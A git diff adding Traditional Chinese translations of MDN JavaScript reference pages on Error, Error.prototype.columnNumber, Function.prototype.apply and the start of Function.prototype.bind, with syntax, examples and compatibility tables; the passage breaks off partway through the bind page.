new file mode 100644
index 0000000000..1db87220e8
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/error/columnnumber/index.html
@@ -0,0 +1,81 @@
+---
+title: Error.prototype.columnNumber
+slug: Web/JavaScript/Reference/Global_Objects/Error/columnNumber
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/columnNumber
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>「行數」屬性含括了檔案中引起錯誤的所在行數。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_columnNumber">使用 <code>columnNumber</code></h3>
+
+<pre class="brush: js">var e = new Error('Could not parse input');
+throw e;
+console.log(e.columnNumber) // 0
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<p>不是任何規格的一部份，尚未標準化。</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/error/index.html b/files/zh-tw/web/javascript/reference/global_objects/error/index.html
new file mode 100644
index 0000000000..623a5dfeac
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/error/index.html
@@ -0,0 +1,233 @@
+---
+title: Error
+slug: Web/JavaScript/Reference/Global_Objects/Error
+tags:
+  - Error
+  - JavaScript
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Error</code></strong> 建構函式能用來建立一個 error 物件。當執行期間發生錯誤時，<code>Error</code> 物件實體會被拋出。<code>Error</code> 物件也可作為自訂例外的基礎物件，請參考下方的標準內建錯誤類型。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">new Error([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>人們可閱讀的錯誤說明。</dd>
+ <dt><code>fileName</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>The value for the <code>fileName</code> property on the created <code>Error</code> object. Defaults to the name of the file containing the code that called the <code>Error()</code> constructor.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>Optional. The value for the <code>lineNumber</code> property on the created <code>Error</code> object. Defaults to the line number containing the <code>Error()</code> constructor invocation.</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>Runtime errors result in new <code>Error</code> objects being created and thrown.</p>
+
+<p>This page documents the use of the <code>Error</code> object itself and its use as a constructor function. For a list of properties and methods inherited by <code>Error</code> instances, see {{jsxref("Error.prototype")}}.</p>
+
+<h3 id="錯誤類型">錯誤類型</h3>
+
+<p>Besides the generic <code>Error</code> constructor, there are six other core error constructors in JavaScript. For client-side exceptions, see <a href="/en-US/docs/Web/JavaScript/Guide/Statements#Exception_Handling_Statements">Exception Handling Statements</a>.</p>
+
+<dl>
+ <dt>{{jsxref("EvalError")}}</dt>
+ <dd>Creates an instance representing an error that occurs regarding the global function {{jsxref("Global_Objects/eval", "eval()")}}.</dd>
+ <dt>{{jsxref("InternalError")}} {{non-standard_inline}}</dt>
+ <dd>Creates an instance representing an error that occurs when an internal error in the JavaScript engine is thrown. E.g. "too much recursion".</dd>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Creates an instance representing an error that occurs when a numeric variable or parameter is outside of its valid range.</dd>
+ <dt>{{jsxref("ReferenceError")}}</dt>
+ <dd>Creates an instance representing an error that occurs when de-referencing an invalid reference.</dd>
+ <dt>{{jsxref("SyntaxError")}}</dt>
+ <dd>Creates an instance representing a syntax error that occurs while parsing code in {{jsxref("Global_Objects/eval", "eval()")}}.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Creates an instance representing an error that occurs when a variable or parameter is not of a valid type.</dd>
+ <dt>{{jsxref("URIError")}}</dt>
+ <dd>Creates an instance representing an error that occurs when {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} or {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} are passed invalid parameters.</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype")}}</dt>
+ <dd>Allows the addition of properties to <code>Error</code> instances.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p>The global <code>Error</code> object contains no methods of its own, however, it does inherit some methods through the prototype chain.</p>
+
+<h2 id="Error_實體"><code>Error</code> 實體</h2>
+
+<div>{{page('en-US/docs/JavaScript/Reference/Global_Objects/Error/prototype', 'Description')}}</div>
+
+<h3 id="屬性_2">屬性</h3>
+
+<div>{{page('en-US/docs/JavaScript/Reference/Global_Objects/Error/prototype', 'Properties')}}</div>
+
+<h3 id="方法_2">方法</h3>
+
+<div>{{page('en-US/docs/JavaScript/Reference/Global_Objects/Error/prototype', 'Methods')}}</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Throwing_a_generic_error">Throwing a generic error</h3>
+
+<p>Usually you create an <code>Error</code> object with the intention of raising it using the {{jsxref("Statements/throw", "throw")}} keyword. You can handle the error using the {{jsxref("Statements/try...catch", "try...catch")}} construct:</p>
+
+<pre class="brush: js">try {
+  throw new Error('Whoops!');
+} catch (e) {
+  console.log(e.name + ': ' + e.message);
+}
+</pre>
+
+<h3 id="Handling_a_specific_error">Handling a specific error</h3>
+
+<p>You can choose to handle only specific error types by testing the error type with the error's {{jsxref("Object.prototype.constructor", "constructor")}} property or, if you're writing for modern JavaScript engines, {{jsxref("Operators/instanceof", "instanceof")}} keyword:</p>
+
+<pre class="brush: js">try {
+  foo.bar();
+} catch (e) {
+  if (e instanceof EvalError) {
+    console.log(e.name + ': ' + e.message);
+  } else if (e instanceof RangeError) {
+    console.log(e.name + ': ' + e.message);
+  }
+  // ... etc
+}
+</pre>
+
+<h3 id="Custom_Error_Types">Custom Error Types</h3>
+
+<p>You might want to define your own error types deriving from <code>Error</code> to be able to <code>throw new MyError()</code> and use <code>instanceof MyError</code> to check the kind of error in the exception handler. The common way to do this is demonstrated below.</p>
+
+<div class="warning">
+<p>Note that the thrown <code>MyError</code> will report incorrect <code>lineNumber</code> and <code>fileName</code> at least in Firefox.</p>
+</div>
+
+<p>See also the <a href="http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript">"What's a good way to extend Error in JavaScript?" discussion on Stackoverflow</a>.</p>
+
+<pre class="brush: js">// Create a new object, that prototypically inherits from the Error constructor
+function MyError(message) {
+  this.name = 'MyError';
+  this.message = message || 'Default Message';
+  this.stack = (new Error()).stack;
+}
+MyError.prototype = Object.create(Error.prototype);
+MyError.prototype.constructor = MyError;
+
+try {
+  throw new MyError();
+} catch (e) {
+  console.log(e.name);     // 'MyError'
+  console.log(e.message);  // 'Default Message'
+}
+
+try {
+  throw new MyError('custom message');
+} catch (e) {
+  console.log(e.name);     // 'MyError'
+  console.log(e.message);  // 'custom message'
+}</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11', 'Error')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error-objects', 'Error')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/try...catch", "try...catch")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/function/apply/index.html b/files/zh-tw/web/javascript/reference/global_objects/function/apply/index.html
new file mode 100644
index 0000000000..698d2f46fc
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/function/apply/index.html
@@ -0,0 +1,260 @@
+---
+title: Function.prototype.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Function/apply
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>apply() </strong>方法會呼叫一個以 this 的代表值和一個陣列形式的值組(或是一個 </code><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">array-like object</a> <code>)為參數的函式。</code></p>
+
+<div class="note">
+<p><strong>注意：</strong>這個函式的語法和{{jsxref("Function.call", "call()")}} 幾乎一樣，最大的不同是 <code>call()</code> 接受<code><strong>一連串的參數</strong></code>，而 <code>apply() 接受<strong>一組陣列形式的參數</strong>。</code></p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>fun</var>.apply(<var>thisArg, </var>[<var>argsArray</var>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>讓 <em><code>fun </code></em><code>呼叫時</code>可以視為 this  的值。注意，這可能並不是最後會在方法裡看見的值：如果這是一個在非 {{jsxref("Strict_mode", "non-strict mode", "", 1)}} 下運作的程式碼，{{jsxref("null")}} 及 {{jsxref("undefined")}} 將會被全域物件取代，而原始類別將被封裝。</dd>
+ <dt><code>argsArray</code></dt>
+ <dd>一個 array-like object ，定義了 <em><code>fun </code></em><code>要呼叫的一組參數，如果沒有需要提供，可以傳入 </code>{{jsxref("null")}} 或 {{jsxref("undefined")}} 。從 ECMAScript 5 開始，這些參數不僅可以是泛型的 array-like object ，而不一定要是一組陣列。查看下方的{{anch("Browser_compatibility", "browser compatibility")}} 資訊。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>傳入 <code><strong>this </strong>值及一組參數後得到的結果。</code></p>
+
+<h2 id="描述">描述</h2>
+
+<p>在呼叫一個現存的函式時，你可以傳入不同的 <code>this 物件值。this 參考到現在的物件，也就是正在執行的物件。apply 讓你可以只寫一次方法後，讓其他物件也繼承到這個方法，而不用一再重寫。</code></p>
+
+<p><code>apply 與</code> {{jsxref("Function.call", "call()")}} 非常相似，不同的是支援的傳入參數類型。使用陣列形式的參數，而不是命名過的接收參數。使用 <code>apply 時，</code>你可以選擇使用陣列實字：<code><em>fun</em>.apply(this, ['eat', 'bananas']); 或是 </code>{{jsxref("Array")}} 物件： <code><em>fun</em>.apply(this, new Array('eat', 'bananas'))。</code></p>
+
+<p><code>除此之外，你也可以使用</code> {{jsxref("Functions/arguments", "arguments")}} 代表 <code>argsArray 參數。arguments 是在函式裡的區域變數，可用來存取所有沒有特別被所呼叫物件指定的傳入參數。因此，使用 apply 時你不需要知道所呼叫函式的指定參數。使用 </code>arguments 把所有參數傳入呼叫的方法裡，而被呼叫的方法會接手處理這些參數。</p>
+
+<p>從 ECMAScript 5th 版本後，也可以使用陣列形式的物件，在實踐上這代表他會擁有 <code>length 以及整數範圍 </code> <code>(0...length-1) 的屬性。舉例來說，你可以使用 </code>{{domxref("NodeList")}}  或是一個像這樣的自定義屬性： <code>{ 'length': 2, '0': 'eat', '1': 'bananas' }。</code></p>
+
+<div class="note">
+<p>一般瀏覽器，包括 Chrome 14 及 Internet Explorer 9，仍不支援陣列形式的物件，所以會對此丟出一個錯誤。</p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_apply_與建構子鏈結">使用 <code>apply</code> 與建構子鏈結</h3>
+
+<p>您可以使用 <code>apply</code> 鏈結 {{jsxref("Operators/new", "constructors", "", 1)}} 一個物件，與 Java 相似，如下範例中我們可以建立一個全域的 {{jsxref("Function")}} 方法叫 <code>construct</code>，使您可以使用類陣列的物件與建構子去替代參數列表。</p>
+
+<pre class="brush: js">Function.prototype.construct = function(aArgs) {
+  var oNew = Object.create(this.prototype);
+  this.apply(oNew, aArgs);
+  return oNew;
+};
+</pre>
+
+<div class="note">
+<p><strong>注意：</strong>如上範例的 <code>Object.create()</code> 方法是屬於比較新的寫法。如需使用閉包的替代方法，請參考以下的範例：</p>
+
+<pre class="brush: js">Function.prototype.construct = function(aArgs) {
+  var fConstructor = this, fNewConstr = function() {
+    fConstructor.apply(this, aArgs);
+  };
+  fNewConstr.prototype = fConstructor.prototype;
+  return new fNewConstr();
+};</pre>
+</div>
+
+<p>使用範例：</p>
+
+<pre class="brush: js">function MyConstructor() {
+  for (var nProp = 0; nProp &lt; arguments.length; nProp++) {
+    this['property' + nProp] = arguments[nProp];
+  }
+}
+
+var myArray = [4, 'Hello world!', false];
+var myInstance = MyConstructor.construct(myArray);
+
+console.log(myInstance.property1);                // logs 'Hello world!'
+console.log(myInstance instanceof MyConstructor); // logs 'true'
+console.log(myInstance.constructor);              // logs 'MyConstructor'
+</pre>
+
+<div class="note">
+<p><strong>注意：</strong>This non-native <code>Function.construct</code> method will not work with some native constructors (like {{jsxref("Date")}}, for example). In these cases you have to use the {{jsxref("Function.prototype.bind")}} method (for example, imagine having an array like the following, to be used with {{jsxref("Global_Objects/Date", "Date")}} constructor: <code>[2012, 11, 4]</code>; in this case you have to write something like: <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code> — anyhow this is not the best way to do things and probably should not be used in any production environment).</p>
+</div>
+
+<h3 id="使用_apply_於內建的函數">使用 <code>apply</code> 於內建的函數</h3>
+
+<p>apply 可以巧妙的在某些任務中使用內建函數，否則可能會循環遍歷整個陣列來寫入。如下範例，我們使用 <code>Math.max/Math.min</code> 來找出陣列中最大/最小的值。</p>
+
+<pre class="brush: js">// min/max number in an array
+var numbers = [5, 6, 2, 3, 7];
+
+// using Math.min/Math.max apply
+var max = Math.max.apply(null, numbers);
+// This about equal to Math.max(numbers[0], ...)
+// or Math.max(5, 6, ...)
+
+var min = Math.min.apply(null, numbers);
+
+// vs. simple loop based algorithm
+max = -Infinity, min = +Infinity;
+
+for (var i = 0; i &lt; numbers.length; i++) {
+  if (numbers[i] &gt; max) {
+    max = numbers[i];
+  }
+  if (numbers[i] &lt; min) {
+    min = numbers[i];
+  }
+}
+</pre>
+
+<p>But beware: in using <code>apply</code> this way, you run the risk of exceeding the JavaScript engine's argument length limit. The consequences of applying a function with too many arguments (think more than tens of thousands of arguments) vary across engines (JavaScriptCore has hard-coded <a class="link-https" href="https://bugs.webkit.org/show_bug.cgi?id=80797">argument limit of 65536</a>), because the limit (indeed even the nature of any excessively-large-stack behavior) is unspecified. Some engines will throw an exception. More perniciously, others will arbitrarily limit the number of arguments actually passed to the applied function. (To illustrate this latter case: if such an engine had a limit of four arguments [actual limits are of course significantly higher], it would be as if the arguments <code>5, 6, 2, 3</code> had been passed to <code>apply</code> in the examples above, rather than the full array.) If your value array might grow into the tens of thousands, use a hybrid strategy: apply your function to chunks of the array at a time:</p>
+
+<pre class="brush: js">function minOfArray(arr) {
+  var min = Infinity;
+  var QUANTUM = 32768;
+
+  for (var i = 0, len = arr.length; i &lt; len; i += QUANTUM) {
+    var submin = Math.min.apply(null,
+                                arr.slice(i, Math.min(i+QUANTUM, len)));
+    min = Math.min(submin, min);
+  }
+
+  return min;
+}
+
+var min = minOfArray([5, 6, 2, 3, 7]);
+</pre>
+
+<h3 id="Using_apply_in_monkey-patching">Using apply in "monkey-patching"</h3>
+
+<p>Apply can be the best way to monkey-patch a built-in function of Firefox, or JS libraries. Given <code>someobject.foo</code> function, you can modify the function in a somewhat hacky way, like so:</p>
+
+<pre class="brush: js">var originalfoo = someobject.foo;
+someobject.foo = function() {
+  // Do stuff before calling function
+  console.log(arguments);
+  // Call the function as it would have been called normally:
+  originalfoo.apply(this, arguments);
+  // Run stuff after, here.
+}
+</pre>
+
+<p>This method is especially handy where you want to debug events, or interface with something that has no API like the various <code>.on([event]...</code> events, such as those usable on the <a href="/en-US/docs/Tools/Page_Inspector#Developer_API">Devtools Inspector</a>).</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Functions/arguments", "arguments")}} object</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/function/bind/index.html b/files/zh-tw/web/javascript/reference/global_objects/function/bind/index.html
new file mode 100644
index 0000000000..7092477133
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/function/bind/index.html
@@ -0,0 +1,321 @@
+---
+title: Function.prototype.bind()
+slug: Web/JavaScript/Reference/Global_Objects/Function/bind
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>bind()</strong></code> 方法，會建立一個新函式。該函式被呼叫時，會將 <code>this</code> 關鍵字設為給定的參數，並在呼叫時，帶有提供之前，給定順序的參數。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>fun</var>.bind(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>The value to be passed as the <code>this</code> parameter to the target function when the bound function is called. The value is ignored if the bound function is constructed using the {{jsxref("Operators/new", "new")}} operator.</dd>
+ <dt><code>arg1, arg2, ...</code></dt>
+ <dd>Arguments to prepend to arguments provided to the bound function when invoking the target function.</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>A copy of the given function with the specified <strong><code>this</code></strong> value and initial arguments.</p>
+
+<h2 id="敘述">敘述</h2>
+
+<p><strong>bind()</strong> 函式建立了一個新的<strong>綁定函式（BF）</strong>。<strong>BF</strong> 是個包裝了原有函式物件的 <strong>exotic function object</strong>（<strong>ECMAScript 2015</strong> 的術語）。通常，呼叫 <strong>BF</strong> 會執行該 <strong>wrapped function</strong>。<strong> BF</strong> 含有以下內部屬性：</p>
+
+<ul>
+ <li><strong>[[BoundTargetFunction]] </strong>- the wrapped function object;</li>
+ <li><strong>[[BoundThis]]</strong> - the value that is always passed as <strong>this</strong> value when calling the wrapped function.</li>
+ <li><strong>[[BoundArguments]]</strong> - a list of values whose elements are used as the first arguments to any call to the wrapped function.</li>
+ <li><strong>[[Call]]</strong> - executes code associated with this object. Invoked via a function call expression. The arguments to the internal method are a <strong>this</strong> value and a list containing the arguments passed to the function by a call expression.</li>
+</ul>
+
+<p>When bound function is called, it calls internal method<strong> [[Call]]</strong> on <strong>[[BoundTargetFunction]], </strong>with following arguments <strong>Call(<em>boundThis</em>, <em>args</em>).</strong> Where, <strong><em>boundThis </em></strong>is <strong>[[BoundThis]]</strong>, <em><strong>args </strong></em>is <strong>[[BoundArguments]]</strong> followed by the arguments passed by the function call.</p>
+
+<p>A bound function may also be constructed using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new" title="The new operator creates an instance of a user-defined object type or of one of the built-in object types that has a constructor function."><code>new</code></a> operator: doing so acts as though the target function had instead been constructed. The provided <strong><code>this</code></strong> value is ignored, while prepended arguments are provided to the emulated function.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="建立綁定函式">建立綁定函式</h3>
+
+<p>The simplest use of <code>bind()</code> is to make a function that, no matter how it is called, is called with a particular <strong><code>this</code></strong> value. A common mistake for new JavaScript programmers is to extract a method from an object, then to later call that function and expect it to use the original object as its <code>this</code> (e.g. by using that method in callback-based code). Without special care, however, the original object is usually lost. Creating a bound function from the function, using the original object, neatly solves this problem:</p>
+
+<pre class="brush: js">this.x = 9;    // this refers to global "window" object here in the browser
+var module = {
+  x: 81,
+  getX: function() { return this.x; }
+};
+
+module.getX(); // 81
+
+var retrieveX = module.getX;
+retrieveX();
+// returns 9 - The function gets invoked at the global scope
+
+// Create a new function with 'this' bound to module
+// New programmers might confuse the
+// global var x with module's property x
+var boundGetX = retrieveX.bind(module);
+boundGetX(); // 81
+</pre>
+
+<h3 id="Partially_applied_functions">Partially applied functions</h3>
+
+<p>The next simplest use of <code>bind()</code> is to make a function with pre-specified initial arguments. These arguments (if any) follow the provided <code>this</code> value and are then inserted at the start of the arguments passed to the target function, followed by the arguments passed to the bound function, whenever the bound function is called.</p>
+
+<pre class="brush: js">function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+
+// Create a function with a preset leading argument
+var leadingThirtysevenList = list.bind(null, 37);
+
+var list2 = leadingThirtysevenList();
+// [37]
+
+var list3 = leadingThirtysevenList(1, 2, 3);
+// [37, 1, 2, 3]
+</pre>
+
+<h3 id="配合_setTimeout">配合 <code>setTimeout</code></h3>
+
+<p>By default within {{domxref("window.setTimeout()")}}, the <code>this</code> keyword will be set to the {{ domxref("window") }} (or <code>global</code>) object. When working with class methods that require <code>this</code> to refer to class instances, you may explicitly bind <code>this</code> to the callback function, in order to maintain the instance.</p>
+
+<pre class="brush: js">function LateBloomer() {
+  this.petalCount = Math.floor(Math.random() * 12) + 1;
+}
+
+// Declare bloom after a delay of 1 second
+LateBloomer.prototype.bloom = function() {
+  window.setTimeout(this.declare.bind(this), 1000);
+};
+
+LateBloomer.prototype.declare = function() {
+  console.log('I am a beautiful flower with ' +
+    this.petalCount + ' petals!');
+};
+
+var flower = new LateBloomer();
+flower.bloom();
+// after 1 second, triggers the 'declare' method</pre>
+
+<h3 id="Bound_functions_used_as_constructors">Bound functions used as constructors</h3>
+
+<div class="warning">
+<p><strong>Warning:</strong> This section demonstrates JavaScript capabilities and documents some edge cases of the <code>bind()</code> method. The methods shown below are not the best way to do things and probably should not be used in any production environment.</p>
+</div>
+
+<p>Bound functions are automatically suitable for use with the {{jsxref("Operators/new", "new")}} operator to construct new instances created by the target function. When a bound function is used to construct a value, the provided <code>this</code> is ignored. However, provided arguments are still prepended to the constructor call:</p>
+
+<pre class="brush: js">function Point(x, y) {
+  this.x = x;
+  this.y = y;
+}
+
+Point.prototype.toString = function() {
+  return this.x + ',' + this.y;
+};
+
+var p = new Point(1, 2);
+p.toString(); // '1,2'
+
+// not supported in the polyfill below,
+
+// works fine with native bind:
+
+var YAxisPoint = Point.bind(null, 0/*x*/);
+
+
+var emptyObj = {};
+var YAxisPoint = Point.bind(emptyObj, 0/*x*/);
+
+var axisPoint = new YAxisPoint(5);
+axisPoint.toString(); // '0,5'
+
+axisPoint instanceof Point; // true
+axisPoint instanceof YAxisPoint; // true
+new Point(17, 42) instanceof YAxisPoint; // true
+</pre>
+
+<p>Note that you need do nothing special to create a bound function for use with {{jsxref("Operators/new", "new")}}. The corollary is that you need do nothing special to create a bound function to be called plainly, even if you would rather require the bound function to only be called using {{jsxref("Operators/new", "new")}}.</p>
+
+<pre class="brush: js">// Example can be run directly in your JavaScript console
+// ...continuing from above
+
+// Can still be called as a normal function
+// (although usually this is undesired)
+YAxisPoint(13);
+
+emptyObj.x + ',' + emptyObj.y;
+// &gt;  '0,13'
+</pre>
+
+<p>If you wish to support the use of a bound function only using {{jsxref("Operators/new", "new")}}, or only by calling it, the target function must enforce that restriction.</p>
+
+<h3 id="Creating_shortcuts">Creating shortcuts</h3>
+
+<p><code>bind()</code> is also helpful in cases where you want to create a shortcut to a function which requires a specific <strong><code>this</code></strong> value.</p>
+
+<p>Take {{jsxref("Array.prototype.slice")}}, for example, which you want to use for converting an array-like object to a real array. You could create a shortcut like this:</p>
+
+<pre class="brush: js">var slice = Array.prototype.slice;
+
